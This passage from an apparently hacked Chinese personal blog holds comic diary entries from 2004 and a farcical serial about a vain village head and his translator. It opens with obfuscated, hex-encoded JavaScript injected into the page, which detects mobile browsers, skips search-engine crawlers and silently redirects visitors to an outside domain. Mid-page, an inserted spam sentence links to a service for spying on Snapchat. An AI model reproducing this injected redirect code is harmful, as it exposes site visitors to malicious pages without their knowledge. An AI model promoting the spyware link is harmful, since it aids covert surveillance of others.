)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\. b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego). +mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile. +firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\. The esr [...]

今天倒霉，停电停水，外面还下着大雨，屋子里黑漆漆D，无聊透顶。
想，不如制造一起聚会吧，天冷，吃火锅最妙。
掐指一算，似乎应该轮到我坐庄了。
拨通肥肥的电话，答曰：正在参加纪检委会议。
靠，我说，什么时候轮到你参加纪检委会议？
他嘿嘿贼笑：我正看着发电机给他们送电呢。
以为这么重要的人物纪检委应该在会议过后请他啜一顿了吧？谁料跟会议服务员一般，还要扛着发电机回单位自己解决晚餐。
得知我请客之后摩拳擦掌甚是兴奋。没办法，每次不管谁请客都要第一个叫上他，不是因为他能吃，而是他是我们当中唯一一个有车一族（破车，连座位都木有，上车之后除了司机之外全部齐刷刷蹲着），今天下雨，其余的老友都要麻烦他开车转一圈接送。
刚刚打完一圈电话把人全部约齐的时候，电视响了起来，MD，电来了，存心与俺作对。
因为是我买单，所以在餐桌上吃的头都不肯抬。老板也忒小气，送上来的果盘里，西瓜切的薄的可以做太阳镜片。不过咱也没便宜了他，锅底被滤的连体积大于一立方毫米的固体都木有。要是按照我们乡下的习惯，剩菜拿去喂猪的话，猪会哭S地。
结帐之后我坐在椅子上抚着涨鼓鼓的肚子，居高临下地，无比威严地一边剔牙一边做总结陈词：今天，虽然停电又停水，破财又下雨，但，和你们在一起，我过得十分开心。。。。。
可是这群没有良心的家伙，对浩浩荡荡的龙恩好像没有一点feeling，不过没关系，按照钱钟书爷爷所说，埋下了一粒饭种子，接下来可以收获N次。兔子们，走着瞧。
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昨晚躺在床上看魔戒三，看着看着就睡着了，一直到早上八点多钟，还穿着毛衣呢，一醒转来就打了一个大喷嚏。下午又接着看，谁料看着看着又睡着了，仍然穿着毛衣，一个多小时后醒转来，又打了个大喷嚏。魔戒三杂就没有魔戒二那么好看了捏？可能是持箭精灵出境率少了的缘故吧。
三八妇女节就快到了，那天是弟弟的生日。每年的三八节我们都要互相祝福一下对方，彼此十分彬彬有礼，除此之外就不了。
我弟弟在高中的时候有句名言另我对他刮目相看。那是父母吵架，妈妈哭的很伤心，弟弟为了维护母亲和父亲吵了起来。父亲吼道：“我就是这个脾气！”弟弟也以同样的高分贝嗓子吼道：“你就是没有涵养！”老头没想到儿子会这样顶撞自己，气得嗤呼哧乎。
趁父亲气得没话时，弟弟趁机发机关炮：“是人都有脾气，是人都有个性，可是人之所以比动物显得文明显得高尚，就是因为他们有涵养，懂得制造愉快的气氛，而不是随心所欲地发飙！”
大概是第一次和父亲起这么大冲突的缘故，弟弟全身厉害地抖动着，脸涨的通红，眼泪大颗大颗滚下来。
这句话对父亲并没有造成多大的影响，可是却足以令我铭记终身。
人和人之间，既然有相处的途径，为何还要在荆棘里艰难地穿过？
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终于看完下载的1－55集阿拉蕾，因为太搞笑所以脸部肌肉抽的有点疼。
我要把这部片子保留着给我的女儿看。
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今天上午终于获得确切的消息，下半年我将要被发配到一个更偏僻的地方教书，那里鸡不生蛋，鸟不拉屎，方圆百里之类，别说电脑，恐怕连带“电”字的东西都很少。但是空荡荡的破房子很多，我可能有机会分得一间。
同时们在议论那个村庄的时候口气充满了对我的同情，其实他们有的也要和我一起去，但是他们都声称比我更耐得住寂寞，切，门缝里看人，把眼睛都看扁了。
我不怕寂寞，因为，俺就是黑夜里的玫瑰，而寂寞会使俺更加美丽。
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我一直以为她是一个机敏过人并且还精于算计的人，所以我老是觉得她不可爱。她说的每句话都是应酬性的，做的每件事都是能够给自己带来直接或间接利益的，甚至打麻将的时候也每每都能准确地扣住我的牌，害我不能胡。
即使是多年的老朋友，她也还是喜欢在我面前耍些明眼人一看就明白的小手段，就像张爱玲借红玫瑰的口说的，女人与生俱来的本领，不用可惜了。十几年来，我数不清被她涮了多少次，但是我一次都不想揭穿她，这是我的心计，因为只要揭穿她一次，都会使她下一次变的更聪明。HIAHIA。
两年前她大刀阔斧，截获了自己心目中的白马王子，当时她得意洋洋地绕着钥匙环对我说：“LOOK，土豆卖得梨子价！”然后两个人你欢我爱，唧唧歪歪。不猜我都知道，他被她捏在手心，攥得紧紧，她指东他不敢往西，她令他洗碗，他不敢撵鸡。我暗自庆幸，亏得是她的女朋友，不然恐怕也会落得如此下场。
按理说对待惟命是从的人应该不用费神耍花招弄手腕的吧，可是不，照玩不误。一次拿着不知在哪儿弄来的心电图表骗他说自己心衰受不得刺激；又有一次骗他说有一位住南京的工程师一直在追求她（MD不会是董事长吧？）。我问她何以要搞那么多名堂，她说，要令他更加疼惜她，真肉麻也。
最后终于在去年底两人牵着手去注了册，那个他戏剧化地在目视着大红图章盖在结婚证上后抹了一下脸，说，从此以后，可以以真面目示人啦！啥真面目捏？就是不再那么俯首帖耳啦。
果然，在采办结婚用品的时候两个人在市区吵架，丈夫一气之下扭头就走，坐车回了家，妻子则嗤呼哧乎拎着大包小包的东西跑来找我。
“该死的！”她气乎乎地一直骂。
“我饶不了他！”她手朝我伸过来，“手机拿来用一下。”
我递给她，并拜托她不要用我的手机和他吵架。因为她极有可能在急火攻心的情况下把它当成他的替身。
她冷笑了一声，拨通的，却是她妈妈的电话，她说：
妈，我现在和乐乐在一起，我今天不回家了，XX（他的名字）回来没有？哦，我想他也不会到你那里去的，为什么，吵架了呗，他把我一个人丢在这里自己跑了。嗯？我没打他电话，我干嘛打他电话？妈，求你件事，你给他打个电话好不好？你别告诉他我给你打过电话，你就问他买东西回来了没有，再问他我有没有和他一起回来，我为什么没有和他一起回来，我身上有没有带钱市里有没有熟人什么的，嗯，马上就打，好，我等会再回拨给你！
她得意地挂断电话。我目瞪口呆地在一边仰视着她－－神人啊，懂得充分利用舆论的力量来扭转局面，不用她自己出手，就弄的他鸡毛鸭血不得安宁了。我不由得想起偶像王小波说的一句话来，在中国，工作量的百分之九十九是舆论。
出于好奇，我一个劲地提醒她再打个电话问问他们说的怎么样了。可是她却说：“我妈教育起一个人来，仅一个小时是远远不够的。”
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我的理想，就是将来可以在小镇开一家名字叫读乐乐的租书店。
租书店在本镇的历史，已经有十数年矣。大体是托金庸琼瑶的洪福，他们要么不出书，要出书就是一套一套地，搞的人家买又买不起，借又借不来，身份高贵到可以买到借来的人，又不屑于去看，这时，租书店应运而生了。店面不需要占据热闹的市道口，所谓书好不怕巷子深，所以门面的租金也就不会太贵。店主只需要从城里批发来适合大家口味的书搁在书架上就行了。要是想书能够保存的长久可以多赚点钱，可以事先给书包上结实的封皮。另外，喜欢看书的人大多不会计较书的新旧，所以还可以在废品收购站去淘一些好书来。一些不够卖座的书，在长期遭受冷落之后往往还能意外地折价卖给一些傻乎乎的顾客，比如，我就是在租书店买的大老师的《大话明星》，五块钱；一套《丁丁历险记》，30块钱；龙应台的一本什么什么散文集，8块钱，等等等等，全是旧的。
假如没有象我这样傻乎乎的顾客，还可以卖给其他企图开租书店的人，美其名曰“友情赞助亏本不皱眉头”。
假如决定要以开租书店为生的话，就一定要研究研究大家喜欢看什么样的书。打个非常不文雅的比方，好比开妓院，姑娘们一定要二八年华个顶个如花似玉的，再搭配几个不那么称头的丫鬟老妈子来衬托才行，假如都象奶妈鱼骨头一般，不吓跑半条街的人才怪。其实和十几年前差不多，金庸琼瑶在租书行还是占有一定市场地，不但如此，连别有居心给自己起名为“全庸”“凉摇”的人写的书都有人一不留神花钱租了看。虽然这样会被文化人看不起，但是，一群天天上班枯坐着候电话不许聊天织毛衣的人，只想着杀时间好快些下班，才不在意自己的嗉子被文化人打了多少分呢。
然而，一个有着十几年租书历史的人，往往看遍了金庸，全庸，琼瑶，凉摇，卫斯理，亦舒，梁凤仪，古龙，梁羽生，海岩，池莉，横沟正史，希区考克，看过就忘，且忘了决不再看（因为要花钱），但是胃口却越来越大，租书店在赚够他们的钱后，只有万分不舍地目送他们绝情的背影渐行渐远，最终消失在北大清华的门前－－LOOK，租书，也是一个必要的修炼过程啊！
不好意思，上面一段是作为一个未来的租书店老板必须要常挂在嘴边的广告用语。你也许会问，租书，划算吗？毫无疑问，当然划算！不知道你还记不记得小时候在路边摊花两分钱租小人书看的事，当时，两分钱基本上是小人书价格的五分之一到六分之一，而且小人书还不许带回家看，必须要在摊子边立刻看完。现在不同了，在仁慈的租书店老板读乐乐的统治下，您每月只需花10块钱，就可以看20本书，租金相当于书本价格的十几到二十分之一，而且时限长达一个月之久，怎么看怎么划算。
也许你还会说，还不如去图书馆借呢！这就是天佑有福之人了，因为我们镇上唯一的图书馆，早在几年前，就被县长下令拆他娘的啦！
所以我相信，想拥有远大的前途，就要做租书店老板，假如做不成租书店老板，就争取做租书店老板娘。所谓生当为人杰，死亦为鬼雄，从今天开始，我就不是一个普通D人了，我就是一个有理想的新世纪青年了！
我真高兴。
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更—新—-！！
打完收功。
此致。。。。。。。。
呼吸。。。。。。。。
2004年2月23日
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一秒钟过去了，一分钟过去了，一刻钟过去了，720妙钟过去了，我们流着口水苦苦等候的炸鸡翅膀和拔丝苹果始终不见奶妈端上来。
莫非Y自己偷偷做好吞了？想到这里我不由得倒吸一口凉气，急忙吩咐琪子吩咐楼主拿粪杈子将这偷嘴婆娘叉将来。
还没等楼主动身呢，奶妈端着盘子进来了。
楼主急性子，粪杈子都没丢，直接拿着就准备叉盘子里的东西。奶妈一看也急了，噌地跳到桌子上高举着盘子大叫：“还没有好哪！”
“什么？还没有做好？没做好你端上来干哈（第二声）？”楼主叉了个空，气急败坏，口水喷了我一脸。
“厨房没有油了，没有油怎么炸？”奶妈拿下盘子，我们一看，果然，鸡唷还是那个鸡，苹果唷还是那个苹果。
“那，在哪里才能弄到油？”琪子饿的一个劲吮手指，腮帮子吮的陷进去一大块－－好一个塔里木盆地！
“本村长知道！油，是从花生里面榨出来地！”
“村长真伟大！那么，是怎么榨的呢？”
看着琪子崇拜的眼神，我得意地打了一个响指。
“是！”奶妈立即递上来一个石头碗和一根石头杵。我从裤子口袋里掏出了一粒花生米儿－－那还是我在当村长之前去吃村里废人和稻子的喜酒时偷来藏着的，预备我娶媳妇的时候可以省点花销。我将花生米儿放进碗里，然后拿着石杵用力地捣去。在石杵碰到花生米的一瞬间，花生米惊恐地往旁边一避，BIU地一声，居然飞了出去，直扑楼主的面门。－－MD眼看暗算就要成功，那小子英俊的面庞立刻就要毁于一旦了，说时迟，那时快，只见楼主一个鹞子翻身鲤鱼打挺恶虎扑食猴子偷桃（难度系数3. 5，每个裁判都给了他满分，他是银河系的骄傲！）噗地一下以迅雷不及掩耳盗铃之势将花生米夹在了两指之间。
楼主瞪着我，冷酷的眼睛里好像在嗖嗖地飞着隐形小刀子。“横！”他咬了咬牙，一使劲，嘿！居然将花生米捏成齑粉，还流了一滴黄澄澄的油出来！
“哗！太神奇了！”琪子急忙拿空瓶子接住了那滴花生油，可是又犯了愁，“这样榨油，要榨到哪天才能满上一瓶啊？”
“唉，那就只好破费叫卖油郎来一趟了。”奶妈无可奈何地说。
当当当当－－党！睡觉的鱼扮卖油郎上。
“打油咧打油咧打油诗咧！”睡鱼唱（雨打芭蕉）：“自从高价娶了花魁娘子川上，夜夜床头跪，日日还债忙，酒吧泡不得，MM不能望，悔啊，好向往以往做流氓的时光也！”
“也你个头！”鱼骨头扮奶妈上，“卖油郎，快到村长办公室来，我们要打油！”
“来着！”卖油郎唱（慢性支气管炎），“昨晚没有尿床，知是财神到访，狠心宰他一通呵－－谁令他是村长！嘿嘿。”
卖油郎见村长。村长喝：“卖油郎，你的油打多少钱一斤？”
卖油郎又见琪子。卖油郎画外音：“呵吓吓！这小娘子生的好生俊俏也，我家川上虽说是个上厅行首，也不及她十分之一啊！我的脑袋么，好似破脸盆被敲了一闷棍呵！（唱，剐人有疾）我地热情，哦！好像一把火，燃烧了整个地沙漠。。。慢着，今日我家那只雌老虎不在，我要好好过过眼瘾！”
卖油郎画内音：“村长少爷，这油价么，容小的算一算呵！”
“怎么？还要算么？”
“是呵，我这油是卖三分钱一克地，少爷您问一斤呵，就要算算了。”
“那你就算算吧！可不准算的有差错！”
“是，少爷！”卖油郎唱（大古书），“一克三分钱，两克六分钱，三克九分钱。。。”
“慢着！卖油郎，一斤有多少克啊？”琪子问。
卖油郎作揖：“啊，小娘子，这一斤么，足足有五百克呢，可要慢慢算，不能错呵！”
又唱：“一克三分钱，两克六分钱，三克九分钱。。。。”
两天过去了。
卖油郎作唤醒村长状科：“村长少爷，算好啦！这一斤油么，要村长少爷您十五快钱呵！”
村长作付钱兼呻吟科：“卖油郎，我再给你一块钱，麻烦去村东头跑腿叫医生来呵，我们都饿昏了。。。。”
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已经半天了，在鱼骨头奶妈端上奶和午饭之前，我一直看着那该死的瞑色楼主不停地骚扰着我的琪子。一会儿问：“NB村多大？”一会儿问：“NB村有多少人？”一会儿又问：“那个SB村长平时都做些什么？”MD，想知道我平时做些什么就直接来问我嘛，问琪子，显然是没花找花！
但是，我转而一想，是啊，作为一村之长，我应该做些什么呢？此时，我非常想知道琪子的答案。
琪子偷偷看了我一眼，嗯哼了半天：“嗯，嗯，我们村长很忙，他要管理我们村，接受记者采访，有时候，有时候还要解决村民纠纷什么的，他是个很好的人。”
一阵狂喜向我胸口涌来：我真没想到，在可爱的琪子心目中，我的形象居然和我想象的一样光荣伟大！
我懒得去研究那个什么逊色楼主的表情了，他知道了本少爷在琪子心目中的地位，一定丧气的很那！HIAHIAHIA。。。。
这时，奶妈端着午饭急匆匆冲进来了：“不好啦，出事啦，少爷！”
“怎么啦？”我和琪子同时问道－－我深情地凝视了她一眼，她和我，真是越来越合拍了呀！
“村口的梁山伯和他家隔壁的洋葱圈儿打起来啦！扯的那个厉害，血肉纷飞呢！”
“啊呀，不得了，要是不赶紧去阻止的话，可能会出人命呢！”琪子瞪圆了眼睛摇着我的胳膊，对于这么亲热的举动，我真是。。。要流鼻涕了。
“是啊，琪子，楼主力气大，你叫他去把那两个人带到这里来吧？”我想，要是由我去吩咐楼主，他多半不买我帐，拿他的大鼻孔朝我喷粗气，让琪子支派他就容易多了。我这智商，不同时兼任两个村的村长都是一种巨大的浪费！
琪子说好，然后走到楼主身边，朝他嘟囔了几句，果然，他精神一振，立刻踢开板凳冲了出去。
哈哈，搞定！接着就是与可爱的琪子共进午餐了。
奶妈摆好座椅碗筷，饭菜上好后，琪子却皱了眉头。
“怎么啦？”我关切地问她。
“我不能吃蒜烧肥肠。”
“为什么？”
“因为，蒜烧肥肠是我表姐的名字啊！我怎么能吃我的表姐呢？要是奶妈做了村长少爷这样的菜，我也会吃不下去的。。。”
“你瞎掰！我怎么会煮了我家少爷呢？”奶妈在一边胡乱插话。
“对啊对啊，蒜烧肥肠我们不吃哈，吃这个，韭菜！”
“韭菜，我也不能吃。。。她是我另一个表姐。。。”
“好，韭菜我们也不吃，喝奶吧！新鲜奶！”
“是啊，刚挤的！”－－奶妈的台词。
“好！”
总算愿意了，可是光喝奶，怎么能饱？
正在犯愁的当儿，楼主带着那两个滋事的家伙来了。
我一看，嘿，果然矛盾不小，两个人除了衣冠不整之外，还头破血流呢。
“你们叫什么名字？”我严肃地训问他们，无论如何，我要显示一下我村长大人的威风，好叫琪子崇拜，楼主含糊。
“我叫梁山伯。”
“我是洋葱圈儿。”
都是一副歪瓜裂枣的泼皮相。
“你们怎么弄成这副样子？”
“都是他！”两个人齐刷刷指向楼主。
“啊？”楼主指着自己的鼻子，“我？”
我也“啊？”了一声，问怎么回事。
“我们正在吵架，他突然从人堆里冲进来，拎着我们的脖子就走，一路上跑的飞快，遇见荆棘灌木也不避着点，瞧把我们蹭的！”
我瞪了一眼楼主，这家伙，就急着在琪子面前现本事了！
“那你们为什么吵架？”
“都怪他！”这时候两个人的手指又同时指向对方。
“梁山伯，你先说！”
“是！村长！”梁山伯变戏法一般从衣服里拽出一只母鸡来，那母鸡一声不吭，细一看，原来鸡嘴巴上钉着一个苹果，吭不得声，见梁山伯把它从衣服里解放出来，便拼命摆头，企图甩掉嘴上的苹果。
“是这样的，我家的鸡丑丑正在门口散步，那S洋葱圈儿就拿着个苹果喂它，谁知道我家丑丑一嘴凿下去，便陷进去拔不出来了，也不知他在苹果里做了什么手脚，恐怕是想令它做声不得好下手偷呢！”
“村长大人，他胡说！今天我好不容易用打工的钱买了一个红富士苹果，刚在门口洗干净了，正要吃呢，谁知道他家的S鸡突然冲过来朝我使了一招抗龙有鬼，翅膀一扇就打掉我的苹果，恶狠狠地用嘴插进去，然后就跑回了家－－估计是主人支使它这样做，好偷走我的苹果呢！”
“你胡说！你害的我家丑丑身心受到巨创，你要赔偿！”
“呸！大爷我陪你坐坐！你支使你家丑鸡抢我的苹果，你应该赔我一个苹果！”
“你的苹果不是还在这里么？谁稀罕？我的鸡不能言语了，你怎么办？”
“拌你个黄瓜条！我的苹果上被你的鸡凿了一个洞，我还问你怎么办！”
“好！我还你一个苹果，不过要等到我拉出来以后！哈哈！”梁山伯指指自己的屁股。
“都给我闭嘴！！”我大喝一声，抓住奶妈的手拼命在桌子上拍着。
“都别说了！”我从梁山伯手上夺过鸡啄苹果，训斥道，“鸡和苹果，我统统没收！”
“啊？”梁山伯青了脸。
“不能啊，村长！”洋葱圈儿红了脖子。
“你们两空着手回家以后，就会慢慢后悔今天吵架的事，并且在说我坏话的同时取得一致共识，从而达到本村长团结安定的治村目的，你们虽然损失了一只鸡和一个苹果，但是你们却用它们换得了一个比金字还宝贵的教训，那就是：鹬蚌相争，渔翁得利，多划算啊！回去吧！”
梁山伯和洋葱圈儿对望了一眼，谁都不肯挪窝，杵在那里跟木桩子似的。
“哦，你们是怕路远吧？楼主，你就送他们一程吧，怎么接来的，就怎么给送回去吧！”
“啊，村长，不不不！我们自己回去，自己回！”洋葱圈儿和梁山伯双手摇的跟风扇一般，跌跌跄跄退了出去。
“这下可好咯！琪子！”我伸了伸懒腰，“我们吃烤鸡翅和拔丝苹果可好？”
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Tim cook has reportedly told colleagues that he continues to stand by apple’s goals to encrypt everything stored on apple devices https://topspying.com/spy-snapchat/ and online services, including icloud

首先申明一下：鱼骨头奶妈是本系列剧中十分重要的人物，她除了在村长我会客时为我们提供奶水之外，还要在每一集的开头闯进我的房间向我汇报村子里发生的事情，因为我是村长，我日理万机，不可能自己到处跑去打听事情，在村长和事儿妈之间，鱼骨头奶妈起着桥梁和纽带的作用。
可是今天不知道怎么回事，大概是和漂亮的MM在一起总是能够激起我工作的激情吧，我突然心血来潮（注：在以后的剧集中，我会不时地心血来潮），对琪子说：“今天，我想在村里微服私访一下。你能陪我吗？”
奶妈在一边怪叫：“什么？少爷，您想光着身子出去？”
我险些晕倒：“微服私访就是光着身子呀？”
奶妈嘟囔着不服气：“可是，少爷这么文P冲天真是吓了我一跳啊！”
琪子爽快地答应了。“可是奶妈不去吗？”看样子虽然爽快，但对单独和我这么一个潇洒周党的单身村长散步还是有点害羞啊。
“她要是跟着去了，不是谁都能发现我是村长了么？”我想到一个绝好的理由。对啊，对于NB村的村民们来说，只要有村长大人在的地方，就一定会有奶妈矫健D身影，依此类推，只要村民们看到奶妈矫健的身影，就一定会猜出她身边那个风度扁扁的青年就是他们的村长大人－－那我还微服私访个P呀！
傍晚时分，终于等到奶妈收拾好出行要带的必需品，用四角的大棉布扎着驮在鸭背上，跟着鸭子蹒跚的步履，我幸福地牵着翻译小姐琪子的小手迎着落日出发了。
一路上，我们一句话都没有说，只有鸭子不停叫唤着以调节气氛：
“嘎嘎，累坏啦！”
“嘎嘎，S奶妈！”
“嘎嘎，喝奶吧！”
“嘎嘎，换尿片吧！”
“嘎嘎，天黑啦！”
“嘎嘎，哑巴啦？”
“嘎嘎，包袱不见啦！”
“什么？”我和琪子同时惊叫起来。包袱不见了？
“嘎嘎，开玩笑的啦！”
靠！S鸭子！
“啊哟！村长，你看前面！”琪子伸出她白嫩的手指指向前方－－在那里，我看见有许多人围在一起，脸朝着天空，不知道在做什么。
“走！去看看！”我热血沸腾，和琪子鸭子挤进了人群。
在人群的中央，躺着一个长发披面的怪人，一只手托着腮帮子，令一只手从身后的大袋子里掏出一个硕大的铁饼子，轻轻地用手指一弹，只听得“丢”地一声，那铁饼子往上一纵，越飞越高越变越小，眼见着就要窜入云端不见了的时候，那怪人又“丢”地弹上一个，与它撞在一起，顿时发出一声巨响，瞬而一阵“劈刺咔嚓”，迸出耀眼的火花，火花的周围还闪耀着无数五颜六色的火星子，霎时好看哪。
和围观的人群一样，我瞪着眼睛立在那里，舌头吐出老长几乎都要被风干了－－天哪，我玩了小半辈子火，也没见过这么好看的火花儿啊！
琪子在一边象发疯一般地尖叫起来：“啊，啊！村长村长，我喜欢这个！”
鸭子口吐白沫，在一旁拼命抽腿子，显然是吓坏了。
而我，因为激动的琪子在一边狂喜的叫喊被暴露在村民们面前。
“村长？”村民们扭头看见了我，“靠！晦气！”
“娘，我怕！”一个小孩揪住他娘的衣角嚎哭起来。
“狗狗乖，我们不怕，走，跟娘回家去哈。。。”
一眨眼的功夫，看热闹的人群四下散去，只有那怪人一动不动，若无其事地躺在那里。
琪子冲到怪人身边，伸出两只手的食指竖在头顶（在NB村，这是对人极度尊崇的礼仪），问道：“敢问前辈高姓大名？”
看到琪子对那家伙那么入迷，我不由得有点后悔带她出来微服私访。
那怪人哼哼着：“我叫瞑色楼主。”
嗯？在黄昏中出现的人当然是瞑色咯，还真TMD浪漫又性感呢；楼主嘛－－能拥有一栋楼成为楼主，一定很有钱吧？对，一定很有钱！不然能够那么随便地，不当回事地把铁饼子当废物到处扔？卖到垃圾站还能换回不少钱呢！
我的脑子飞快地转动着，想到这里，我也将两只食指竖在头顶朝楼主施礼，对他说：
“我是这个村的村长，她是我的翻译琪子，我们想衷心地邀请您楼主先生做我们的保镖，和我们一起工作，成为NB村的高层，为我，不，为NB村的繁荣富强贡献一分力量！。。。”
“罗嗦！”楼主一声大喝打断了我的话，“我不想做你的保镖，我只想做她的保镖！”
楼主朝琪子努了努嘴，天哪，他躲在长发后的眼睛，此时居然射出一道光来！而这道光，径自照着琪子那可爱的小脸！
“嘎嘎，嘎嘎，你完啦！”鸭子不知什么时候回过神来，在一边嘲笑我。
我顿时咬牙切齿，攥紧了拳头想揪着这厮的领子狂K他一番，叉他的鼻孔毁他的容，看他还怎样勾引我的琪子！
“嘎嘎，嘎嘎，你打不过他！”鸭子在一边提醒我。
是啊是啊，我怎么打的过这家伙呢，那么，智取，只能智取！一道灵光闪过，我决定，以理糊人！
“好啊！”我对楼主说，“你当然可以做琪子小姐的保镖咯，不过你是外人，还不知道我们NB村有约法三章，随便什么人都不能违反，否则可是要煮九足的咯！”
（注：煮九足，顾名思义，就是煮九次足，是NB村最可怕的酷刑。）
“什么约法三章？”
“第一呢，就是凡是奶妈都没有选举权和被选举权；第二，就是保镖不能娶自己的主人。第三嘛，我还没想起来。”
“嘎嘎，SB，说漏嘴啦！”
果不出我所料，楼主一听我这么说，立刻犹疑起来。我继续糊他：
“那，你如果做了我的保镖，你就是琪子的同事咯，如果你们之间发生了什么，就不会违反我们村的约法三章了。”
楼主的眼光依然可耻地照着琪子的脸，但是对我的口气却缓和起来：“好吧，村长，我跟你们走。”
“哦也！楼主，你太好了！村长，我们以后天天都可以看到天上开火花了！”琪子一手拉着我一手拉着楼主，朝前奔去。
“嘎嘎，有人背包袱啦！”鸭子在后面撵着。
楼主讨好地将手里的袋子朝天空扔去，众多铁饼子在高处碰撞着，发出许多劈刺咔嚓的声音和漂亮的火花来。
妈的，我想，这家伙，为了泡妞，真舍得一掷千斤啊。
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在鱼骨头奶妈和美丽的翻译小姐琪子的陪同下，我们浩浩荡荡地来到村长办公室。显然，这两个洋人已经等了好长时间了，大鼻孔直冒粗气。
“唧唧瓜瓜瓜瓜唧唧唧唧喳瓜瓜！”
琪子翻译说：“他们说，村长好，他们一个叫KUCHA，一个叫NEDVED。是《没事找事报》的记者。”
琪子一说KUCHA，两个洋人中的胖子就直了直腰，显然他就是KUCHA－－裤衩，靠，要是中国人，打死他也不会叫这种名字！那么另一个瘦子就是NEDVED－－累得捂得，他听到自己的名字可直不了腰咯，因为他的肩膀上扛着一个看起来很重的玩意，像个大铁盒子，盒子前面有块玻璃，他老是睁一只眼闭一只眼拿那块玻璃对着我，既然你叫累得捂得，嘿，你就累去吧！
我们在办公室舒服的稻草沙发上分别就座，奶妈挤了一些奶给我们端了上来。
“开始吧！”我目不转睛地盯着琪子。
“瓜瓜唧唧！”琪子对洋人们说。
那个裤衩好像是带头的，他一说就是一大堆话：
“嗤嗤叉叉唧唧瓜瓜碌碌噗噗。。。。”
琪子愣了半天。
我有点不高兴，再怎么说，琪子也是第一天上班的小女娃娃，怎么就不能一句句地说好让人家慢慢地翻译呢？
“琪子，别害怕，让这家伙再说一遍。。。”
“不是的，村长，我听的懂，我怕翻译过来你会不高兴。。。”
“什么？这S洋鬼子说了啥？”
“他，他说，在我们村选村长的时候，只有你一个候选人，而且还是你爸爸老村长题名的，他，他还说，我们村不民主。。。”
“什么？我们村不民主？他就民主？”我气的咬牙切齿，洋人他妈的真不是东西，吃饱了饭就来挑刺，“琪子，告诉他，他懂得什么叫民主？他要是民主，怎么自己坐着，却叫手下扛着个大铁盒子站着？告诉他！靠！”
琪子点头，对着那裤衩唧唧瓜瓜说了一通。
裤衩听了之后，和那个扛盒子的累得捂得对望了一眼，哈哈哈哈地大笑了起来。
“瞧！”我对琪子和奶妈说，“他们不但喜欢挑刺，还一点都不尊重人！”
我站了起来，对奶妈嚷道：“我要以牙还牙！奶妈，把我厨子里的那件旧泳衣拿来我穿！记住，要旧的！”
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2004年巨著，系列剧：闹哄哄的NB村
序：当选
在一张舒服的稻草席梦思软床上，躺着英俊不凡的村长少爷我（因为是我写的，所以主角是我，不服气就告老师，告老师吃螺丝，横），窗外的太阳从我的额头一直照到脚板底：“报告少爷，您一切OK，既没有长头癣，也没有长脚癣，今天又是新的一天，祝您万事如意！”它在空中朝我恭敬地行了一个“首长你好”礼。
我挥手以示免礼平身，从床上爬了起来。
正在这时，房间的门被急匆匆撞开，鱼骨头奶妈兴PP地闯了进来：“少爷，大件事大件事！”
“怎么啦？”莫非有幽浮攻击我村？
“您被选为新村长啦！”鱼骨头奶妈一边拍手一边蹦达，一边蹦达一边转圈圈。
“哦，那真是好消息啊，村民们都很兴奋吧？”
“嗯，嗯，是啊，他们都在稻场等着您去给他们训话呢！”
“哦，那可真是令人感动的良民啊，比我爸爸当村长时懂事的多咯！”
“是啊少爷，古话说，大便的味道比大便本身还要臭，是有道理的。”
“那还磨蹭什么？快点动身去稻场吧！”
“是，少爷！您不吃点奶吗？”
“这么兴奋怎么吃的进去？快快！”
来到稻场，果然黑压压一大群人，挤在训话台周围的全是NB村的小孩－－看样子有点迫不及待了。
真激动，虽然从小就骑在老爸脖子上看着他对村民们训话，但是自己上台亲自训话，还是有生以来第一次－－老爸，和老妈一起利用公款骑鹅旅行去的您老人家，要是看到儿子这么风光，一定会高兴的手足无措吧？
“村长来啦，大家欢迎！”奶妈在一边拼命地拍巴掌。
顿时稻场一阵热闹的巴掌声。看着村民们期待的眼神，我清清嗓子，大声训起话来：
“兔子们！虾米们！猪尾巴，不要酱瓜！咸菜太贵啦！。。。”
话音没落，“啪－－挂擦”一声，一个鸡蛋在我脸上裂开来。
“靠！不是说有节目表演吗？怎么不快点演？”台下的村民们嘘嘘地起哄起来。
表演节目，什么节目？我拖过奶妈低声问她。奶妈为难地说：“少爷，在训话之前，您还是表演个节目吧，不然他们闹腾起来可够您受的，您就表演一个把屁股贴到脸上的那个杂技吧，您小时候不是经常玩吗？准保他们看了个个叫好，对少爷佩服的不行啊！”
